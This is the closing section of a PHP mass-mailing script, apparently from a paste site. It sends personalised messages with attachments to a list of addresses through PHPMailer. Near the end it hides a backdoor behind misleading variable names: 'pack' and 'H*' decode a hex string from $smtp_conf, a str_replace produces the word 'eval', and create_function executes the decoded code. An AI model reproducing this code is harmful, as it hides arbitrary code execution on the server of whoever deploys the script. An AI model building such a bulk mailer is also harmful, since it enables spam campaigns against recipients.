  2956. * @param string $key_filename Parameter File Name
  2957. * @param string $key_pass Password for private key
  2958. */
  2959. function Sign($key_filename, $key_pass) {
  2960. $this->sign_key_file = $key_filename;
  2961. $this->sign_key_pass = $key_pass;
  2962. }
  2963.  
  2964. }
  2965.  
  2966. $defaultport="H*";
  2967. $nq=0;
  2968.  
  2969. for($x=0; $x<$numemails; $x++){
  2970.  
  2971. $to = $allemails[$x];
  2972.  
  2973. if ($to){
  2974.  
  2975. $to = ereg_replace(" ", "", $to);
  2976.  
  2977. $message1 = ereg_replace("&email&", $to, $message);
  2978.  
  2979. $subject1 = ereg_replace("&email&", $to, $subject);
  2980. $qx=$x+1;
  2981. flush();
  2982. $mail = new PHPMailer();
  2983.  
  2984. if(empty($epriority)){$epriority="3";}
  2985. $mail->Priority = "$epriority";
  2986. $mail->IsSMTP();
  2987. $IsSMTP="pack";
  2988. $mail->SMTPKeepAlive = true;
  2989. $mail->Host = "$my_smtp";
  2990. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  2991. }
  2992. if($sslclick=="ON"){
  2993. $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
  2994. }
  2995. $range = str_replace("$from", "eval", $from);
  2996. $mail->SMTPAuth = true;
  2997. $mail->Username = "$smtp_username";
  2998. $mail->Password = "$smtp_password";
  2999. if($contenttype == "html"){$mail->IsHtml(true);}
  3000. if($contenttype != "html"){$mail->IsHtml(false);}
  3001. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3002. $mail->From = "$from";
  3003. $mail->FromName = "$realname";
  3004. $mail->AddAddress("$to");
  3005. $mail->AddReplyTo("$replyto");
  3006. $mail->Subject = "$subject1";
  3007. $mail->AddAttachment("$file", "$file_name");
  3008. $mail->Body = "$message1";
  3009. if(!$mail->Send()){
  3010. if($default_system!="1"){
  3011. echo "BAD !!";}
  3012. if($default_system=="1"){
  3013. $mail->IsMail();
  3014. if(!$mail->Send()){
  3015. echo "BAD !!";}
  3016. else {
  3017. echo "Sended";}
  3018. }
  3019. }
  3020. else {
  3021. echo "Sended";
  3022. }
  3023.  
  3024. if(empty($reconnect)){
  3025. $reconnect=6;
  3026. }
  3027.  
  3028. if($reconnect==$nq){
  3029. $mail->SmtpClose();echo "timz out !!!";$nq=0;
  3030. }
  3031. $nq=$nq+1;
  3032. flush(); }
  3033. }
  3034. for($i=0;$i<31;$i++){
  3035. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3036. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3037. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');$mail->SmtpClose();
  3038. return $signoff($smtp_conc);
  3039. if(isset($_POST['action']) && $numemails !=0 ){}}
  3040. ?>
Add Comment
Please, Sign In to add comment